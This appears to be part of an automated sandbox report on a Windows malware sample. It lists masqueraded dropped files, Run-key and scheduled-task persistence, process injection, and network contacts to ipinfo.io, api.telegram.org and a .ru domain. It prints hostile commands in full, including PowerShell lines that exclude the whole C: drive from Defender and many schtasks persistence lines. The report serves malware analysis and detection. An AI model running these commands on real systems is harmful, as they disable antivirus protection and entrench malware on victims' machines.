Set value (str) \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\wininit = "\"C:\\Users\\Default\\wininit.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Local Security Authority Process = "\"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Local Security Authority Process.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Program Files\\WindowsPowerShell\\sppsvc.exe\"" C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A

Drops file in System32 directory

Description Indicator Process Target
File created \??\c:\Windows\System32\CSC67DC0C93EDBA41AC8BF4F781C2A7849C.TMP C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe N/A
File created \??\c:\Windows\System32\xqt5sk.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files\Microsoft Office\root\Client\dllhost.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
File created C:\Program Files\Microsoft Office\root\Client\5940a34987c991 C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
File created C:\Program Files\WindowsPowerShell\sppsvc.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
File created C:\Program Files\WindowsPowerShell\0a1fd5f707cd16 C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\AppReadiness\StartMenuExperienceHost.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
File created C:\Windows\AppReadiness\55b276f4edf653 C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WScript.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe N/A
Key created \REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\root\Client\dllhost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Microsoft Office\root\Client\dllhost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4988 wrote to memory of 3380 N/A C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe C:\Windows\SysWOW64\WScript.exe
PID 4988 wrote to memory of 3380 N/A C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe C:\Windows\SysWOW64\WScript.exe
PID 4988 wrote to memory of 3380 N/A C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe C:\Windows\SysWOW64\WScript.exe
PID 3380 wrote to memory of 3480 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 3380 wrote to memory of 3480 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 3380 wrote to memory of 3480 N/A C:\Windows\SysWOW64\WScript.exe C:\Windows\SysWOW64\cmd.exe
PID 3480 wrote to memory of 3184 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe
PID 3480 wrote to memory of 3184 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe
PID 3184 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 3184 wrote to memory of 2308 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
PID 2308 wrote to memory of 1584 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 2308 wrote to memory of 1584 N/A C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
PID 3184 wrote to memory of 180 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 180 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 4988 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 4988 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 4620 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 4620 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 568 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 568 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 3056 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 1960 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 2272 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 2272 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 5016 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 4720 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 4720 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 3880 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 8 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 8 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 4524 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 4524 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 100 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 100 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 5104 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 5104 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 760 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 760 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 4372 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 320 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 320 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3184 wrote to memory of 2368 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\cmd.exe
PID 3184 wrote to memory of 2368 N/A C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe C:\Windows\System32\cmd.exe
PID 2368 wrote to memory of 5868 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\chcp.com
PID 2368 wrote to memory of 5868 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\chcp.com
PID 2368 wrote to memory of 5256 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 2368 wrote to memory of 5256 N/A C:\Windows\System32\cmd.exe C:\Windows\system32\w32tm.exe
PID 2368 wrote to memory of 5596 N/A C:\Windows\System32\cmd.exe C:\Program Files\Microsoft Office\root\Client\dllhost.exe
PID 2368 wrote to memory of 5596 N/A C:\Windows\System32\cmd.exe C:\Program Files\Microsoft Office\root\Client\dllhost.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe

"C:\Users\Admin\AppData\Local\Temp\e3b04ffe1c3222f16e71be15978a33b03fa6bdd92e276d7fa933f04e6929aed1.exe"

C:\Windows\SysWOW64\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Microsoft\qp9vGmuwSr0nkeo7qSVAnhO3kZyMkfu12RZ0OBiQNAI58E5ZggR.vbe"

C:\Windows\SysWOW64\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Microsoft\ZkitL4SswB6Acn9KQ4n8phMXm8v73bXNMxhzpq69L79HkSe5Tb.bat" "

C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe

"C:\Users\Admin\AppData\Roaming\Microsoft/Local Security Authority Process.exe"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 6 /tr "'C:\Program Files\WindowsPowerShell\sppsvc.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvc" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\sppsvc.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sppsvcs" /sc MINUTE /mo 10 /tr "'C:\Program Files\WindowsPowerShell\sppsvc.exe'" /rl HIGHEST /f

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\pdjxw24t\pdjxw24t.cmdline"

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES1F5A.tmp" "c:\Windows\System32\CSC67DC0C93EDBA41AC8BF4F781C2A7849C.TMP"

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 12 /tr "'C:\Windows\AppReadiness\StartMenuExperienceHost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHost" /sc ONLOGON /tr "'C:\Windows\AppReadiness\StartMenuExperienceHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "StartMenuExperienceHostS" /sc MINUTE /mo 5 /tr "'C:\Windows\AppReadiness\StartMenuExperienceHost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 12 /tr "'C:\Program Files\Microsoft Office\root\Client\dllhost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhost" /sc ONLOGON /tr "'C:\Program Files\Microsoft Office\root\Client\dllhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "dllhostd" /sc MINUTE /mo 10 /tr "'C:\Program Files\Microsoft Office\root\Client\dllhost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 8 /tr "'C:\Users\Default\wininit.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininit" /sc ONLOGON /tr "'C:\Users\Default\wininit.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 7 /tr "'C:\Users\Default\wininit.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 5 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihost" /sc ONLOGON /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "sihosts" /sc MINUTE /mo 6 /tr "'C:\Recovery\WindowsRE\sihost.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Local Security Authority ProcessL" /sc MINUTE /mo 11 /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe'" /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Local Security Authority Process" /sc ONLOGON /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe'" /rl HIGHEST /f

C:\Windows\system32\schtasks.exe

schtasks.exe /create /tn "Local Security Authority ProcessL" /sc MINUTE /mo 14 /tr "'C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe'" /rl HIGHEST /f

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsPowerShell\sppsvc.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\AppReadiness\StartMenuExperienceHost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Microsoft Office\root\Client\dllhost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Default\wininit.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\sihost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Local Security Authority Process.exe'

C:\Windows\System32\cmd.exe

"C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\Tu9MtPROow.bat"

C:\Windows\system32\chcp.com

chcp 65001

C:\Windows\system32\w32tm.exe

w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2

C:\Program Files\Microsoft Office\root\Client\dllhost.exe

"C:\Program Files\Microsoft Office\root\Client\dllhost.exe"

Network

Country Destination Domain Proto
US 8.8.8.8:53 8.8.8.8.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 17.160.190.20.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 133.211.185.52.in-addr.arpa udp
US 8.8.8.8:53 ipinfo.io udp
US 34.117.59.81:443 ipinfo.io tcp
US 8.8.8.8:53 api.telegram.org udp
NL 149.154.167.220:443 api.telegram.org tcp
US 8.8.8.8:53 81.59.117.34.in-addr.arpa udp
US 8.8.8.8:53 220.167.154.149.in-addr.arpa udp
US 8.8.8.8:53 200.163.202.172.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 753565cm.n9shteam.ru udp
US 104.21.77.97:80 753565cm.n9shteam.ru tcp
US 104.21.77.97:80 753565cm.n9shteam.ru tcp
US 8.8.8.8:53 98.117.19.2.in-addr.arpa udp
US 8.8.8.8:53 97.77.21.104.in-addr.arpa udp
US 8.8.8.8:53 100.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 66.209.201.84.in-addr.arpa udp
US 8.8.8.8:53 14.227.111.52.in-addr.arpa udp

Files

